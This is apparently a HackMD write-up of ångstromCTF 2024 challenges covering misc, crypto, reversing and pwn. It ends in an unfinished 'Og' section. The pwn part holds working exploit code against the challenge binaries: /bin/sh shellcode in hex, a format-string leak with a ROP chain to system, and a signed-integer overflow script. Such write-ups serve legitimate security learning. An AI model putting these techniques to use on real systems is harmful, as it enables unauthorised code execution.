---
# System prepended metadata

title: AngstromCTF_2024

---

## ångstromCTF_2024 : https://angstromctf.com/
![image](https://hackmd.io/_uploads/rk65CmX40.png)
![image](https://hackmd.io/_uploads/Bkq20774R.png)

![image](https://hackmd.io/_uploads/S1qgokXVC.png)


## MICS
### kcehC ytinaS
)csim# ni cipot lennahc eht s'ti( galf eht rof drocsiD ruo nioJ
_as it said in reverse, join the discord server to get the flag, the flag is in the #misc topic.
}egassem_terces_ym_edoced_uoy_did_woh{ftca
_Then you just need to reverse the character and get the flag
> Flag: actf{how_did_you_decoded_my_secret_message}
### Putnam
Solve the putnam, get the flag. Easy right?

Connect to it at nc challs.actf.co 31337
_This challenge is easy, you just need to solve an math problem
![image](https://hackmd.io/_uploads/SkE3eUSN0.png)
> Flag: actf{just_a_tad_easier_than_the_actual_putnam}
### Trip:
What road was this this photo taken on?

For example, if the road was "Colesville Road" the flag would be actf{colesville}.
_For this challenge, you just need to exif the picture to get the gps location:
![image](https://hackmd.io/_uploads/r1mCW8H4R.png)
_We see that it is in Chincoteague road.
> Flag: actf{chincoteague}

### Aw man:
- I based on the title to know that there is something was hidden in the picture.
- Using tool `steghide` to check: 

![image](https://hackmd.io/_uploads/BJtPp_wV0.png)
- I found a .txt file in this pic and the passphrase is white space. I get this file by steghide.

![image](https://hackmd.io/_uploads/BJIWAuP4A.png)
- An encrypt text was extracted. Use cybercheft to decrypt.

![image](https://hackmd.io/_uploads/rJUOAdD40.png)

`Flag: actf{crazy?_i_was_crazy_once}` 

### Do you wanna build a snow man:
- A picture is corrupted, check it's hex!

![image](https://hackmd.io/_uploads/BkidkFwNC.png)

![image](https://hackmd.io/_uploads/Hy0_bKwEA.png)


- As I guess, the header of this pic was wrong. The correct once is: `FF D8 FF E0 00 10 4A 46 49 46 ` . Fix it and we get the flag!

![image](https://hackmd.io/_uploads/B1SKgtv40.png)

![image](https://hackmd.io/_uploads/By3jlKP4C.png)

`Flag: actf{built_the_snowman}` 


## Crypto

### Erm what the enigma

![image](https://hackmd.io/_uploads/BylCGitHV0.png)

This challenge is a story about the enigma machine, and the string brht{d_imhw_cexhrmwyy_lbvkvqcf_ldcz} is generated from it. We need to understand how this machine works to find the flag. Luckily, there is a website that helps us decode the string from enigma: https://www.dcode.fr/enigma-machine-cipher

![image](https://hackmd.io/_uploads/rJ0M3KBV0.png)

`Flag: `actf{i_love_enigmatic_machines_mwah}

### PHIlosophy

![image](https://hackmd.io/_uploads/HJCzaYrEC.png)
Code:
```python!
from Crypto.Util.number import getPrime
from secret import flag

p = getPrime(512)
q = getPrime(512)

m = int.from_bytes(flag.encode(), "big")

n = p * q
e = 65537
c = pow(m, e, n)

phi = (p + 1) * (q + 1)

print(f"n: {n}")
print(f"e: {e}")
print(f"c: {c}")
print(f"\"phi\": {phi}")

"""
n: 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673
e: 65537
c: 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758
"phi": 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308
"""
```
This challenge is an RSA challenge, but we don't know $p$ and $q$ yet, even when using factordb to factor n into prime factors. But we can find it by transforming the expressions:
$$phi=(p+1)*(p+1)=pq+p+q+1$$
Because we know $n=pq$ and $phi$, we know $p+q$
$$p+q=phi-n-1$$
Now we have $p+q$ and $pq$, applying Viete's theorem we have $p,q$ is the solution of the equation:
$$x^2-(p+q)x+pq=0$$
Solving the quadratic equation to find p and q, we will find the flag like the RSA lessons have done
Code:
```python!
from Crypto.Util.number import long_to_bytes
import gmpy2

n = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673
e = 65537
c = 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758
phi = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308
sum = phi - n - 1
delta = sum**2 - 4*n
p = (sum + gmpy2.iroot(delta,2)[0])//2
q = sum - p
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
flag = pow(c,d,n)
print(long_to_bytes(flag))
```
```
Flag: actf{its_okay_i_figured_out_phi_anyway}
```
### Layers
![image](https://hackmd.io/_uploads/ryNmtm74R.png)
I love this one 

Code:
```python!
import hashlib
import itertools
import os

def xor(key, data):
    return bytes([k ^ d for k, d in zip(itertools.cycle(key), data)])

def encrypt(phrase, message, iters=1000):
    key = phrase.encode()
    for _ in range(iters):
        key = hashlib.md5(key).digest()
        message = xor(key, message)
    return message

print('Welcome to my encryption service!')
print('Surely encrypting multiple times will make it more secure.')
print('1. Encrypt message.')
print('2. Encrypt (hex) message.')
print('3. See encrypted flag!')

phrase = os.environ.get('FLAG', 'missing')

choice = input('Pick 1, 2, or 3 > ')
if choice == '1':
    message = input('Your message > ').encode()
    encrypted = encrypt(phrase, message)
    print(encrypted.hex())
    
if choice == '2':
    message = bytes.fromhex(input('Your message > '))
    encrypted = encrypt(phrase, message)
    print(encrypted.hex())
elif choice == '3':
    print(encrypt(phrase, phrase.encode()).hex())
else:
    print('Not sure what that means.')

```
So the server will give us 1 out of 3 Encrypt message or Encrypt flag. I noticed the Encrypt flag never change so it's giving us two infomation one constantly change. 

When i try to encrypt my message 'actf{' it returns the same value as the prefix of the encrypt flag so all i should do is brute force. I also calculate the length of the flag is 38 and every 2 bits is one character. 

**script:**
```python!
from pwn import *

def check_prefix(prefix):
    r = remote('challs.actf.co', 31398)
    response = r.recvuntil(b'Pick 1, 2, or 3 > ')
    r.sendline(b'1')
    response = r.recvuntil(b'Your message > ')
    r.sendline(prefix)
    response = r.recvline()
    r.close()
    return response.strip()

enc = "fb7fdbf9e714a08ce9cdf109bb527acba27accfeff16fcdcb1cdf358bb557898aa2d9da9af5c"
prefix_length = 10  # Chiều dài của phần đã biết 'actf{'
flag = ['actf{593a7043ca58fcac7ec972e3dcf01263}']
found = b'actf{'
alphabet = "_0123456789abcdefghijklmnopqrstuvwxyz"  # Bảng chữ cái và dấu gạch dưới
tim = 2
for i in range(38):
    for char in alphabet:
            prefix = found + bytes([ord(char)])
            result = check_prefix(prefix)
            log.info(result)
            log.info(enc[:prefix_length + tim])
            if result.decode()== enc[:prefix_length + tim]:
                found = found + bytes([ord(char)])
                flag.append(char)
                tim = tim+2
                break
    log.info(found)

flag.append("}")
print("".join(flag))    
    
#fb7fdbf9e714
#fb7fdbf9e714
```

flag: **actf{593a7043ca58fcac7ec972e3dcf01263}** 
### Random rabin
![image](https://hackmd.io/_uploads/Bk3X3mmNR.png)
```python!
from random import SystemRandom
from Crypto.Util.number import getPrime
from libnum import xgcd

random = SystemRandom()

def primegen():
	while True:
		p = getPrime(512)
		if p % 4 == 3:
			return p

def keygen():
	p = primegen()
	q = primegen()
	n = p * q
	return n, (n, p, q)

def encrypt(pk, m):
	n = pk
	return pow(m, 2, n)

def decrypt(sk, c):
	n, p, q = sk
	yp, yq, _ = xgcd(p, q)
	mp = pow(c, (p + 1)//4, p)
	mq = pow(c, (q + 1)//4, q)
	s = yp * p * mq % n
	t = yq * q * mp % n
	rs = [(s + t) % n, (-s - t) % n, (s - t) % n, (-s + t) % n]
	r = random.choice(rs)
	return r

def game():
	pk, sk = keygen()
	print(f'pubkey: {pk}')
	secret = random.randbytes(16)
	m = int.from_bytes(secret, 'big')
	print(f'plaintext: {decrypt(sk, encrypt(pk, m))}')
	guess = bytes.fromhex(input('gimme the secret: '))
	return guess == secret

if __name__ == '__main__':
	for _ in range(64):
		success = game()
		if not success:
			exit()

	with open('flag.txt') as f:
		flag = f.read().strip()
		print(flag)

```
Rabin cryptosystem: https://en.wikipedia.org/wiki/Rabin_cryptosystem
We got one of the four roots and we know that x^2 = m mod n. It's easy to know encrypt m   mod n but how can we calculate m from m^2(mod n). I noticed that n is very big compare to m so I just do the square root. 

Script:
```python!
#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import long_to_bytes
import gmpy2

def recv():
    r = remote('challs.actf.co', 31300)
    for i in range(64):
        r.recvuntil(b'pubkey: ')
        text = r.recvuntil(b'plaintext: ')
        t = text.split(b'\n')[0]
        response = r.recvuntil(b'gimme the secret: ')
        # Tách phần plaintext từ response
        res = response.split(b'\n')[0]
        x = int(res.decode())
        n = int(t.decode())
        #log.info (x)
        #log.info (n)
        m2 = (pow(x,2,n))
        m = int(gmpy2.isqrt(gmpy2.mpz(m2)))
        flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
        r.sendline(flag.hex())
        if i == 63: 
            f1 = r.recvuntil(b'actf{')
            f2 = r.recvuntil(b'}')
            log.info(f1,f2)
    print('yes')    
    r.close()
#actf{f4ncy_squ4re_r00ts_53a370c33f192973}
recv()

```
#### **BLAHAJ**
**Disclaimer**: I didn't solve this challenge all i do is combine writeups and instructions on discord in order to understand how to solve this. 

credit: https://connor-mccartney.github.io/cryptography/rsa/BLAHAJ-angstrom-CTF-2024?fbclid=IwAR1f9sJ0sm0Sv4rDTxF1RzA03TiExxc0LDCAOGqmmnnGgeiGx629-f31hSE
```PR.<p, q, n, a, b, x, y> = PolynomialRing(ZZ)

f1 = p*q - n
f2 = p + b*q - x
f3 = q + a*p - y
for eq in Ideal([f1, f2, f3]).groebner_basis():
    print(eq)
```

```
n*a*b + q*x + p*y - x*y - n #we will use this equation
p^2 + n*b - p*x
p*q - n
q^2 + n*a - q*y
p*a + q - y
q*b + p - x
```

$$x = b*q + p$$ $$=>q*x = bq^2 + pq = bq^2 + n(1)$$
$$y = a*p + q$$  $$=> p*y = ap^2+ pq = ap^2 + n(2)$$
*We also have*
$$n*a*b + q*x + p*y - x*y - n = 0$$
$$=>x*y = n*a*b + q*x + p*y - n (3)$$
from (1),(2) and (3) we have:

$$xy = n*ab + bq^2 + ap^2 + 2n - n$$
    
then we mod both side with n 
$$<=> x*y (mod n) = bq^2 + ap^2 (4)$$
so we from (1),(2) and (4) we can say x*y (mod n) == q*x + p*y (mod n)

=> p = (x*y - q*x)/y = x - q(x/y)

Script:
```python!
from sage.all import *
c=2084015642966578282323320320430355169303796428932452813616522534642993911885394832889877216337047505539910273209203092431502448659110975363836148150333450975665054754794923282649866834797382152974537871637107602980242305752842881056832372729032719323542397731147821640234181272537527934691830138813076673120558790685225545176722374373891797444430162049094331866632430714818874728168815552807267537023134887147693780578518721495129472480845244586874832711656372700340333956532029558890132512276495501200465374040059705096729628227299657939763878581814774444365099164760074348408594002376240830368408586554430584367239
n=5054759650831149212497593612117505449996534385400799412730981223889391367155509695417999090910848750197375100341995228567935542100150279063805945642486626676563744817810946769932250256245882026085508665771131635110277852237029849869509707637709162425864373201102790718464450861787668024958787992996715870537273213999452948215564503811414448019655761914535646338206972306327692776792357656461421160012732874929753400746379737081861110621084719920237555759371086828748564360804144357313056202764375401039317055078455329940265973052825170224804217772389893623634664438855142967283765161646402518311874260437023116525027
x=14624164038828170251441254789590748299059493407127408167381909039718004816732842597998978394090418984661609925783012574638050052448399168193536431334288702858151820090630198056959727167341057230779720998603705567821824977324339182361973824850629918120718796161913475916523630822110582289148982548632694537423158073771024615682852893559402668337273941915650824074226258103607152649283649471317242038305999409041659019944804416273274057125302350242520142492153556081164794428695882962406952831655367215074021698796576010502956218034153621531037983312180680329891048894826768653762528273739711501728033951545847806707848
y=1510897008373983998701686017209922960816127339466860789588606160332147878962564913406764611385229470849971288077374239278171471973749602656414838820558074700119192355231338991849403695036849047083282822255108161230346034624768585764808760248402952634113444599722515269998684427399124583405247144573527109975222081257008029790260559860849979421716752798127739488994858649526260912935259888277927955180906055358279957687314992052797112774530972530343550573798533793482820201610887225201749606682312677680359451371010180070950980849389904579670739506805226809592052548210734843148295456283103192907412693805696885095055
lll=matrix(ZZ,[
    [1,0,x/-mod(y,n)],
    [0,n,x],
    [0,0,n],
]).LLL()
pari.addprimes(vector([-5,0,1])*lll)
print(int(mod(c,n).nth_root(65537)).to_bytes(128,'big'))
```


## Reverse
### Guess the flag

Code: 

``` c
int __fastcall main(int argc, const char **argv, const char **envp)
{
    char *v3; // rbx
    char _0[72]; // [rsp+0h] [rbp+0h] BYREF
    unsigned __int64 vars48; // [rsp+48h] [rbp+48h]

    vars48 = __readfsqword(0x28u);
    puts("Go ahead, guess the flag: ");
    v3 = _0;
    fgets(_0, 0x3F, stdin);
    while ( strlen(_0) > v3 - _0 )
    {
        *v3++ ^= 1u;
    }

    if ( !strcmp(_0, "`bugzbnllhuude^un^uid^md`ru^rhfohghb`ou^chu|") )
    {
        puts("Correct! It was kinda obvious tbh.");
    }
    else
    {
        puts("Wrong. Not sure why you'd think it'd be that.");
    }

    return 0;
}
```

As we can see it will take our input and xor with '1' then strcmp with a string so all we do is xor that string with 1. 

**script:**

``` python
enc = b'`bugzbnllhuude^un^uid^md`ru^rhfohghb`ou^chu|'
key = 1
flag = [chr(i^key) for i in enc]
print("".join(flag))
```
flag: **actf{committed_to_the_least_significant_bit}**

### switcher
This one is easy because we can see the flag check right away. 
```c 
void __fastcall sub_5540(_BYTE *a1)
{
    _BYTE *v1; // rdi
    _BYTE *v2; // rdi
    _BYTE *v3; // rdi
    _BYTE *v4; // rdi
    _BYTE *v5; // rdi
    _BYTE *v6; // rdi
    _BYTE *v7; // rdi
    _BYTE *v8; // rdi
    _BYTE *v9; // rdi
    _BYTE *v10; // rdi
    _BYTE *v11; // rdi
    _BYTE *v12; // rdi
    _BYTE *v13; // rdi
    _BYTE *v14; // rdi
    _BYTE *v15; // rdi
    _BYTE *v16; // rdi
    _BYTE *v17; // rdi
    _BYTE *v18; // rdi
    _BYTE *v19; // rdi
    _BYTE *v20; // rdi
    _BYTE *v21; // rdi
    _BYTE *v22; // rdi
    _BYTE *v23; // rdi
    _BYTE *v24; // rdi
    _BYTE *v25; // rdi
    _BYTE *v26; // rdi
    _BYTE *v27; // rdi
    _BYTE *v28; // rdi
    _BYTE *v29; // rdi
    _BYTE *v30; // rdi
    _BYTE *v31; // rdi
    _BYTE *v32; // rdi
    _BYTE *v33; // rdi
    _BYTE *v34; // rdi
    _BYTE *v35; // rdi
    _BYTE *v36; // rdi

    if ( *a1 == 0x6A )
    {
        v36 = a1 + 1;
        if ( *v36 == 0x75 )
        {
            v35 = v36 + 1;
            if ( *v35 == 0x6D )
            {
                v34 = v35 + 1;
                if ( *v34 == 0x70 )
                {
                    v33 = v34 + 1;
                    if ( *v33 == 0x69 )
                    {
                        v32 = v33 + 1;
                        if ( *v32 == 0x6E )
                        {
                            v31 = v32 + 1;
                            if ( *v31 == 0x67 )
                            {
                                v30 = v31 + 1;
                                if ( *v30 == 0x5F )
                                {
                                    v29 = v30 + 1;
                                    if ( *v29 == 0x6D )
                                    {
                                        v28 = v29 + 1;
                                        if ( *v28 == 0x79 )
                                        {
                                            v27 = v28 + 1;
                                            if ( *v27 == 0x5F )
                                            {
                                                v26 = v27 + 1;
                                                if ( *v26 == 0x77 )
                                                {
                                                    v25 = v26 + 1;
                                                    if ( *v25 == 0x61 )
                                                    {
                                                        v24 = v25 + 1;
                                                        if ( *v24 == 0x79 )
                                                        {
                                                            v23 = v24 + 1;
                                                            if ( *v23 == 0x5F )
                                                            {
                                                                v22 = v23 + 1;
                                                                if ( *v22 == 0x74 )
                                                                {
                                                                    v21 = v22 + 1;
                                                                    if ( *v21 == 0x6F )
                                                                    {
                                                                        v20 = v21 + 1;
                                                                        if ( *v20 == 0x5F )
                                                                        {
                                                                            v19 = v20 + 1;
                                                                            if ( *v19 == 0x74 )
                                                                            {
                                                                                v18 = v19 + 1;
                                                                                if ( *v18 == 0x68 )
                                                                                {
                                                                                    v17 = v18 + 1;
                                                                                    if ( *v17 == 0x65 )
                                                                                    {
                                                                                        v16 = v17 + 1;
                                                                                        if ( *v16 == 0x5F )
                                                                                        {
                                                                                            v15 = v16 + 1;
                                                                                            if ( *v15 == 0x66 )
                                                                                            {
                                                                                                v14 = v15 + 1;
                                                                                                if ( *v14 == 0x6C )
                                                                                                {
                                                                                                    v13 = v14 + 1;
                                                                                                    if ( *v13 == 0x61 )
                                                                                                    {
                                                                                                        v12 = v13 + 1;
                                                                                                        if ( *v12 == 0x67 )
                                                                                                        {
                                                                                                            v11 = v12 + 1;
                                                                                                            if ( *v11 == 0x5F )
                                                                                                            {
                                                                                                                v10 = v11 + 1;
                                                                                                                if ( *v10 == 0x6F )
                                                                                                                {
                                                                                                                    v9 = v10 + 1;
                                                                                                                    if ( *v9 == 0x6E )
                                                                                                                    {
                                                                                                                        v8 = v9 + 1;
                                                                                                                        if ( *v8 == 0x65 )
                                                                                                                        {
                                                                                                                            v7 = v8 + 1;
                                                                                                                            if ( *v7 == 0x5F )
                                                                                                                            {
                                                                                                                                v6 = v7 + 1;
                                                                                                                                if ( *v6 == 0x62 )
                                                                                                                                {
                                                                                                                                    v5 = v6 + 1;
                                                                                                                                    if ( *v5 == 0x79 )
                                                                                                                                    {
                                                                                                                                        v4 = v5 + 1;
                                                                                                                                        if ( *v4 == 0x5F )
                                                                                                                                        {
                                                                                                                                            v3 = v4 + 1;
                                                                                                                                            if ( *v3 == 0x6F )
                                                                                                                                            {
                                                                                                                                                v2 = v3 + 1;
                                                                                                                                                if ( *v2 == 0x6E )
                                                                                                                                                {
                                                                                                                                                    v1 = v2 + 1;
                                                                                                                                                    if ( *v1 == 0x65 )
                                                                                                                                                    {
                                                                                                                                                        sub_1200(v1 + 1);
                                                                                                                                                    }
                                                                                                                                                }
                                                                                                                                            }
                                                                                                                                        }
                                                                                                                                    }
                                                                                                                                }
                                                                                                                            }
                                                                                                                        }
                                                                                                                    }
                                                                                                                }
                                                                                                            }
                                                                                                        }
                                                                                                    }
                                                                                                }
                                                                                            }
                                                                                        }
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
```
flag: **actf{jumping_my_way_to_the_flag_one_by_one}**
### Polyomino
Ok this one is hard tbh ;(
**code**:
```c 
__int64 __fastcall main(int a1, char **a2, char **a3)
{
    __int64 v3; // rdx
    __int64 v4; // rdi
    __int64 v5; // r11
    __int64 *v6; // r10
    int v7; // esi
    __int64 v8; // rcx
    __int64 *v9; // rax
    __int64 v10; // rdx
    __int64 v11; // rdx
    unsigned __int64 v12; // r9
    int v13; // eax
    char *v14; // rbx
    _BYTE *v15; // rbp
    unsigned __int8 v16; // di
    __int64 v18[4]; // [rsp+0h] [rbp-78h] BYREF
    char v19[26]; // [rsp+20h] [rbp-58h] BYREF
    char v20[26]; // [rsp+3Ah] [rbp-3Eh] BYREF
    char v21; // [rsp+54h] [rbp-24h] BYREF
    unsigned __int64 v22; // [rsp+58h] [rbp-20h]

    v22 = __readfsqword(0x28u);
    __printf_chk(1LL, "I'm practicing my math skills. Give me nine integers: ", a3);
    __isoc99_scanf(
        "%d %d %d %d %d %d %d %d %d",
        &dword_5640A84240A0 + 0xFFFFFFF8,
        &dword_5640A84240A0 + 0xFFFFFFF9,
        &dword_5640A84240A0 + 0xFFFFFFFA,
        &dword_5640A84240A0 + 0xFFFFFFFB,
        &dword_5640A84240A0 + 0xFFFFFFFC,
        &dword_5640A84240A0 + 0xFFFFFFFD,
        &dword_5640A84240A0 + 0xFFFFFFFE,
        &dword_5640A84240A0 + 0xFFFFFFFF,
        &dword_5640A84240A0);
    __printf_chk(1LL, "Hmm, let me think", v3);
    fflush(stdout);
    usleep(0x493E0u);
    putchar(0x2E);
    fflush(stdout);
    usleep(0x493E0u);
    putchar(0x2E);
    fflush(stdout);
    usleep(0x493E0u);
    puts(".");
    usleep(0x7A120u);
    v4 = -60LL;
    v5 = 0x400C0210000001LL;
    do
    {
        v6 = &qword_5640A8424080;
        v7 = 0;
        v8 = 1LL;
        v9 = &qword_5640A8424080;
        do
        {
            v10 = *(int *)v9;
            v9 = (__int64 *)((char *)v9 + 4);
            v11 = v8 * v10;
            v8 *= v4;
            v7 += v11;
        }
        while ( &unk_5640A84240A4 != (_UNKNOWN *)v9 );

        if ( (_DWORD)v4 == 0x2C
          || (_DWORD)v4 == 0x3A
          || (v12 = (unsigned int)(v4 + 0x25), (unsigned int)v12 <= 0x36) && _bittest64(&v5, v12) )
        {
            if ( v7 )
            {
LABEL_x388:
                puts("Those aren't the right numbers. Try again!");
                return 1LL;
            }
        }

        else if ( !v7 )
        {
            goto LABEL_x388;
        }

        ++v4;
    }
    while ( v4 != 0x3C );

    if ( dword_5640A84240A0 != 1 )
    {
        do
        {
            v13 = *(_DWORD *)v6;
            v6 = (__int64 *)((char *)v6 + 4);
            v11 = (unsigned int)(v13 >> 0x1F);
            LODWORD(v11) = v13 % dword_5640A84240A0;
            *((_DWORD *)v6 + 0xFFFFFFFF) = v13 / dword_5640A84240A0;
        }
        while ( v6 != (__int64 *)&unk_5640A84240A4 );
    }

    __printf_chk(1LL, "Correct! Here's the flag: ", v11);
    v14 = v19;
    v18[0] = qword_5640A8424080;
    v15 = &unk_5640A8424020;
    v18[1] = qword_5640A8424088;
    LOWORD(v18[2]) = dword_5640A8424090;
    WORD1(v18[2]) = dword_5640A8424094;
    WORD2(v18[2]) = dword_5640A8424098;
    HIWORD(v18[2]) = dword_5640A842409C;
    LOWORD(v18[3]) = dword_5640A84240A0;
    qmemcpy(v19, v18, sizeof(v19));
    qmemcpy(v20, v18, sizeof(v20));
    do
    {
        v16 = *v15++ ^ *v14++;
        v14[0xFFFFFFFF] = v16;
        putchar(v16);
    }
    while ( &v21 != v14 );

    putchar(0xA);
    return 0LL;
}
``` 
this function will take 9 intgers (a1..a9) from the inputs, then do some math... 

There is v4 which is -60 it will increase until v4!=0x3C which is 58 (v4 value will be x) we have to do this equation with each v4 value. 

v7 = x^0*a1 + x^1*a2 ... x^8*a9 (1)

We don't need to solve this polynomials, we've already had the zeros of the polynomials, which is roots = [-37,-9,-4, 5, 6, 44, 58, 17 ]. So the problem is its coefficients to know more about this read https://www.geeksforgeeks.org/relationship-between-zeroes-and-coefficients-of-a-polynomial/

we can express (1) like this (x+37)*(x+9)*(x+4)*(x-5)*(x-6)*(x-44)*(x-58)*(x-17) 

Here is the script:

```python!
import numpy as np
n = [1, -80, -358, 121272, -1364231, -12168520, 122783468, 134045088, -1733624640]
dem = 8
for i in range(9):
    print(n[i+dem],end =" ")
    dem = dem - 2
print('\n')
import sympy as sp
# Khai báo biến x
x = sp.symbols('x')
roots = [-37,-9,-4, 5, 6,44,58,17 ]

# Tạo đa thức từ các nghiệm
polynomial = sp.prod([x - r for r in roots])
# Thu gọn đa thức
polynomial = sp.expand(polynomial)
coefficients = sp.Poly(polynomial, x).all_coeffs()
# Hiển thị đa thức và các hệ số
print(polynomial)
print(coefficients)

```


## Pwn
### Presidential 
#### Overall
```python=
#!/usr/local/bin/python

import ctypes
import mmap
import sys
import os

print("This process has the PID", os.getpid())
flag = "redacted"
print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))
buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye")
```
#### Only give the shellcode in hex to get the shell

```a=
lea rdi, [rip + binsh]
xor rax, rax
mov al, 0x3b
xor rsi, rsi
xor rdx, rdx
syscall

binsh:
   .asciz "/bin/sh"
```
**488d3d0d0000004831c0b03b4831f64831d20f052f62696e2f736800**
### Bap
#### Overall
***Basic format string + ROP***

![image](https://hackmd.io/_uploads/S1KIJt2NC.png)

![image](https://hackmd.io/_uploads/rkBDkY3EA.png)

![image](https://hackmd.io/_uploads/HkxcJK24A.png)

- **gets()** =))))

#### Approach

***Leak libc -> ovewrite return address to call main again -> ROP***

![image](https://hackmd.io/_uploads/SkLWxYnN0.png)
- So, I need to use index 29.

```python=
from pwn import *
import sys

context.log_level = 'debug'
context.binary = exe = ELF('./bap', checksec=False)
#libc = ELF('./libc.so.6', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
    r = process(exe.path)
    gdb.attach(r, gdbscript="""
               b *main
               b *main+47
               b *main+64
               b *main+86
               """)
elif len(sys.argv) == 3:
    r = remote('challs.actf.co', 31323)
else:
    r = process(exe.path)


payload = b'|%29$p'
payload += b'a'*18
payload += p64(0x000000000040101a) #ret
payload += p64(exe.sym['main'])
r.sendlineafter(b': ', payload)
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
log.info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
libc.address = __libc_start_call_main_128 - 128 - 0x1dc0 - 0x28000
log.info("libc base: " + hex(libc.address))
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of libc: " + hex(libc.address))
poprdi_ret = libc.address + 0x000000000002a3e5

win = b'a'*24
win += p64(0x000000000040101a)  #ret
win += p64(poprdi_ret)
win += p64(binsh)
win += p64(system)
r.sendlineafter(b': ', win)
r.interactive()
```
### Exam 

#### Overall
It is the problem about number of integer.
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-E8h]
  char v5[64]; // [rsp+10h] [rbp-E0h] BYREF
  char s[152]; // [rsp+50h] [rbp-A0h] BYREF
  unsigned __int64 v7; // [rsp+E8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  printf("How much should I not trust you? >:)\n: ");
  __isoc99_scanf("%d", &detrust);
  fgets(s, 150, stdin);
  if ( detrust >= 0 )
  {
    trust_level -= detrust;
    if ( trust_level == threshold )
    {
      puts("What kind of cheating are you doing?");
      puts("You haven't even signed your statement yet!");
      puts("You are BANNED from all future AP exams!!!");
    }
    else
    {
      while ( trust_level < threshold )
      {
        puts("\nI don't trust you enough >:)");
        printf("Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n: ");
        fgets(s, 150, stdin);
        if ( !strcmp(
                s,
                "I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any "
                "information about any section of this exam.\n") )
          --trust_level;
      }
      stream = fopen("flag.txt", "r");
      fgets(v5, 64, stream);
      puts("\nYou will now take the multiple-choice portion of the exam.");
      puts("You should have in front of you the multiple-choice booklet and your answer sheet. ");
      printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n", v5);
    }
  }
  else
  {
    puts("Don't try to trick me into trusting you >:(");
  }
  return 0;
}
```

![image](https://hackmd.io/_uploads/Bk7xVtnE0.png)

- **trust_level = 0**

![image](https://hackmd.io/_uploads/H1zgHt240.png)
- **threshold = 0x7ffffffe**

The flow of the program
- Check detrust >=0, if not exit()
- Then **trust_level -= detrust**, it means: **trust_level = -detrust**
- Call loop while(trust_level < threshold) if input string s match the string in the code above -> **--trust_level**.
- Finally, I get the flag

#### Bug
- **Number is signed.**
- So, i will input 0x7fffffff, so trust_level will: 0x80000001. After, it minus several times it will be 0x7fffffff
- Thus, I get the flag.
#### Script
```python=
from pwn import *
import sys

context.log_level = 'debug'
context.binary = exe = ELF('./exam', checksec=False)

if len(sys.argv) == 2:
    r = process(exe.path)
    gdb.attach(r, gdbscript="""
               b *main
               b *main+113
               b *main+157
               b *main+301
               b *main+337
               b *main+339
               """)
elif len(sys.argv) == 3:
    r = remote('challs.actf.co', 31322)
else:
    r = process(exe.path)
    
r.sendafter(b': ', b'2147483647')
r.sendline(b'Hello')

try:
    while True:
        r.recvuntil(b'Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n:')
        r.sendline(b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.')
except Exception as e:
    pass
    
r.interactive()
```
### Og

#### Overall

![image](https://hackmd.io/_uploads/r1bQz92EA.png)

![image](https://hackmd.io/_uploads/SJTEMq2EC.png)

The program allow me input one time. Then exit

#### Bug
![image](https://hackmd.io/_uploads/Hy_fX924A.png)


```cpp=
unsigned __int64 go()
{
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("kill $PPID; Enter your name: ");
  fgets(s, 66, stdin);
  printf("Gotta go. See you around, ");
  printf(s);
  return v2 - __readfsqword(0x28u);
}
```
***fmtstr + bof***

#### Approach 
Because I only have one time to input, I must find the way to rewind the go function again. The approach is that I will overwrite the __stack_chk_fail@got.plt

Although I can use bof, the program limits max one gadget.
Therefore, I need to use technique stack pivot(leave ; ret) to pop the shell.

**fmtstr:** leak the canary, the libc and the stack.
**bof:** get the gadget.

#### Script
```python=
from pwn import *
import sys

context.log_level = 'debug'
context.binary = exe = ELF('./og', checksec=False)

